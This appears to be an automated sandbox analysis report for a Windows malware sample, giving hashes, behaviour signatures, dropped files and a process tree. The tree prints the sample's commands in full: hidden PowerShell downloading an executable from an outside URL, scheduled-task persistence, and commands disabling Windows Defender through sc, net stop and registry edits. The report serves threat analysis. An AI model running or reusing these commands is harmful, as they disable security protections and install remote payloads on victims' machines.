Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24-12-2024 08:41

General

  • Target

    db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe

  • Size

    126KB

  • MD5

    7176b040816932541eb9c2b91d90b29b

  • SHA1

    137a9c4620366caff2a1d1c297b6ae8c6d28761d

  • SHA256

    db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95

  • SHA512

    1332645e8c6b53994b4f3f28b980c1fe646cec1771e77982a85ec4036725f4f2930bd9a45caea8a03b8a8ece0b432955b0d55e09396f5a80fd7c0d2825b0d1de

  • SSDEEP

    3072:a2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcX011:7bJhs7QW69hd1MMdxPe9N9uA0hu9TBZn

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe

Signatures

  • Disables service(s) 3 TTPs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe
    "C:\Users\Admin\AppData\Local\Temp\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\AD21.tmp\AD22.tmp\AD23.bat C:\Users\Admin\AppData\Local\Temp\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\Admin\AppData\Local\Temp\reddit.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
      • C:\Windows\system32\attrib.exe
        attrib -h "C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
        3⤵
        • Views/modifies file attributes
        PID:2764
      • C:\Windows\system32\schtasks.exe
        schtasks /query /TN "RunRedditLogon"
        3⤵
          PID:2304
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "RunRedditLogon" /tr "C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe" /sc onlogon /rl highest /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2792
        • C:\Windows\system32\schtasks.exe
          schtasks /query /TN "RunRedditMinute"
          3⤵
            PID:2960
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "RunRedditMinute" /tr "C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe" /sc minute /mo 1 /rl highest /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2948
          • C:\Windows\system32\sc.exe
            sc config WinDefend start= disabled
            3⤵
            • Launches sc.exe
            PID:2660
          • C:\Windows\system32\net.exe
            net stop WinDefend
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2916
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop WinDefend
              4⤵
                PID:2452
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
              3⤵
                PID:2952
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2680
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {42CCBF56-5EB8-4C16-B60F-26ECE60BBBC4} S-1-5-21-1846800975-3917212583-2893086201-1000:ZQABOPWE\Admin:Interactive:[1]
            1⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2964
            • C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe
              C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:600
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5C53.tmp\5C54.tmp\5C55.bat C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2620
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2872
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\Admin\AppData\Local\Temp\reddit.exe')"
                  4⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1796
                • C:\Windows\system32\attrib.exe
                  attrib -h "C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
                  4⤵
                  • Views/modifies file attributes
                  PID:2060
                • C:\Windows\system32\schtasks.exe
                  schtasks /query /TN "RunRedditLogon"
                  4⤵
                    PID:2996
                  • C:\Windows\system32\schtasks.exe
                    schtasks /query /TN "RunRedditMinute"
                    4⤵
                      PID:3004
                    • C:\Windows\system32\sc.exe
                      sc config WinDefend start= disabled
                      4⤵
                      • Launches sc.exe
                      PID:2992
                    • C:\Windows\system32\net.exe
                      net stop WinDefend
                      4⤵
                        PID:3056
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 stop WinDefend
                          5⤵
                            PID:2388
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                          4⤵
                            PID:2408
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                            4⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:2396
                      • C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe
                        C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe
                        2⤵
                        • Executes dropped EXE
                        PID:2884
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4624.tmp\4625.tmp\4626.bat C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
                          3⤵
                            PID:704
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1556
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\Admin\AppData\Local\Temp\reddit.exe')"
                              4⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2544
                            • C:\Windows\system32\attrib.exe
                              attrib -h "C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe"
                              4⤵
                              • Views/modifies file attributes
                              PID:352
                            • C:\Windows\system32\schtasks.exe
                              schtasks /query /TN "RunRedditLogon"
                              4⤵
                                PID:1004
                              • C:\Windows\system32\schtasks.exe
                                schtasks /query /TN "RunRedditMinute"
                                4⤵
                                  PID:1772
                                • C:\Windows\system32\sc.exe
                                  sc config WinDefend start= disabled
                                  4⤵
                                  • Launches sc.exe
                                  PID:1292
                                • C:\Windows\system32\net.exe
                                  net stop WinDefend
                                  4⤵
                                    PID:1316
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 stop WinDefend
                                      5⤵
                                        PID:1108
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                      4⤵
                                        PID:904
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                        4⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:900

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Temp\AD21.tmp\AD22.tmp\AD23.bat

                                  Filesize

                                  2KB

                                  MD5

                                  c0e9bc2dfff6e08df8196809b9bbf253

                                  SHA1

                                  006e88ea359145c40a6bbca55e6f21b387999255

                                  SHA256

                                  43c1dfafac6c340f420057606f317c2d0d3182c04f1a9c76b782f818c85f4f11

                                  SHA512

                                  5b0c012aca5479bf3b8852e1504465ccb2ad6ce4134ee8d2ad57c898fd91ac19f96a669ebc3a9201e65099ed1723f4515b48ca25ea21681ad45377ce3d9ca60c

                                • C:\Users\Admin\AppData\Roaming\HiddenScripts\db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95_Sigmanly.exe

                                  Filesize

                                  126KB

                                  MD5

                                  7176b040816932541eb9c2b91d90b29b

                                  SHA1

                                  137a9c4620366caff2a1d1c297b6ae8c6d28761d

                                  SHA256

                                  db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95

                                  SHA512

                                  1332645e8c6b53994b4f3f28b980c1fe646cec1771e77982a85ec4036725f4f2930bd9a45caea8a03b8a8ece0b432955b0d55e09396f5a80fd7c0d2825b0d1de

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                  Filesize

                                  7KB

                                  MD5

                                  67c9086a19f0c9d5d521824490d3854f

                                  SHA1

                                  3803d444f21890aecc28bd9a9395dc5ff8a8a1e1

                                  SHA256

                                  83d92cd046febc510661abb3f85023bbac6a186416723fffa9a88dbcdc145d36

                                  SHA512

                                  cd9707bddd9140c69f0da3d64644eb6d92e1c1eb55505028eaa6b7ea6f8b1740792839028ea6f4f0aba7d426d18e770bbb65284e37cdea4c18af20e143ee736e

                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                  Filesize

                                  7KB

                                  MD5

                                  e56da256038711721f27d46e5b3dad2b

                                  SHA1

                                  6843b02b6bdf5b2fe06c1ad938ac5c9deb51a487

                                  SHA256

                                  88febd8b13410728a4db111b1094465ab6e0f641fff0b8e94b5aa7d691116180

                                  SHA512

                                  6b29f846f0becab5a69beee780812e84c74d109ec6a7fca3ffcf37cbfb8beb2366b963afcf9c8109e924646028431b210b54287b62da47a65a7a39e54b6c9869

                                • memory/2556-13-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-12-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-11-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-9-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-14-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-10-0x000007FEF5B70000-0x000007FEF650D000-memory.dmp

                                  Filesize

                                  9.6MB

                                • memory/2556-7-0x000000001B690000-0x000000001B972000-memory.dmp

                                  Filesize

                                  2.9MB

                                • memory/2556-8-0x00000000022A0000-0x00000000022A8000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/2556-6-0x000007FEF5E2E000-0x000007FEF5E2F000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2724-20-0x000000001B580000-0x000000001B862000-memory.dmp

                                  Filesize

                                  2.9MB

                                • memory/2724-21-0x0000000002240000-0x0000000002248000-memory.dmp

                                  Filesize

                                  32KB